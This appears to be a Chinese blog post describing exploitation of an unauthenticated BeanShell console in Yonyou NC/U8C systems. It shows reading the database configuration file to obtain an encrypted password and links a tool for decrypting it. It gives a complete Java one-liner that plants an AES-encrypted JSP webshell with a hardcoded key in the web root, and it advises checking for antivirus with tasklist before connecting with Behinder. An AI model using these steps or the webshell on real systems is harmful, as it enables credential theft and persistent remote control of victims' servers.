• Beanshell的未授权利用


    什么是Beanshell?

    • Beanshell是一种完全符合Java语法规范的脚本语言,并且含有自己的一些语法和方法。
    • BeanShell是一种松散类型的脚本语言(这点和JS类似);
    • BeanShell是用java写成的一个小型的、免费的、可以下载的、嵌入式的Java源代码解释器,具有对象脚本语言特性,非常精简的解释器jar文件大小未175k
    • BeanShell执行标准Java语句和表达式,另外包括一些脚本命令和语法。

    基本函数

    函数作用
    cat()读取文件
    dir()查看目录
    exec()运行系统命令
    load()加载或序列化对象到文件中
    save()保存序列化对象到文件中

    读取数据库密码

    nc的数据库密码位置在/ierp/bin/prop.xml

    cat("/ierp/bin/prop.xml");
    
    • 1

    在这里插入图片描述

    读出加密的password

    jdbc:oracle:thin:@127.0.0.1:1521/zljs
    NCCS
    mmoflelliecmchfh
    
    • 1
    • 2
    • 3

    用友nc解密工具:https://github.com/jas502n/ncDecode解出密文

    写文件

    beanshell完全符合Java语法规范,那可以通过写一个java脚本来写入文件
    先用dir命令来探明web文件夹的位置,然后构造java脚本

    import java.io.*;String filePath = "./webapps/u8c_web/aaaaa.txt"; String conent ="<%@page import=\"java.util.*,javax.crypto.*,javax.crypto.spec.*\"%><%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%><%if (request.getMethod().equals(\"POST\")){String k=\"e45e329feb5d925b\";session.putValue(\"u\",k);Cipher c=Cipher.getInstance(\"AES\");c.init(2,new SecretKeySpec(k.getBytes(),\"AES\"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);}%>";BufferedWriter out = null;try {File file = new File(filePath);File fileParent = file.getParentFile();if (!fileParent.exists()) {fileParent.mkdirs();}file.createNewFile();out = new BufferedWriter(new OutputStreamWriter(new FileOutputStream(file, true)));out.write(conent);}catch(Exception e) {e.printStackTrace();} finally {try {out.close();} catch (IOException e) {e.printStackTrace();}}
    
    • 1

    注意beanshell输入框里是不能有回车的,shell里的引号需转义

    写入之后查看文件

    在这里插入图片描述

    在这里插入图片描述

    查看写入成功

    写入jsp文件时通过exec(“tasklist /svc”)命令查看是否含有杀软,不然写入会失败。写入后返回无报错即连接成功,通过冰蝎进行连接。

  • 相关阅读:
    C++前缀和算法:构造乘积矩阵
    一键自动化博客发布工具,用过的人都说好(知乎篇)
    走进 AnyTrust 技术底层,数据可用性和最小信任假设如何实现
    【webrtc】media base 的 MediaEngineInterface 、CompositeMediaEngine和 MediaChannel
    ThreeJS-3D教学十-有宽度的line
    mysql-MVCC
    Linux学习笔记——Makefile的使用
    RabbitMq:RabbitMq消息中的相关处理 ③
    深入理解Java中的BufferedReader类:一切从读取开始。
    oracle INSERT 批量插入写法
  • 原文地址:https://blog.csdn.net/m0_53183117/article/details/126259306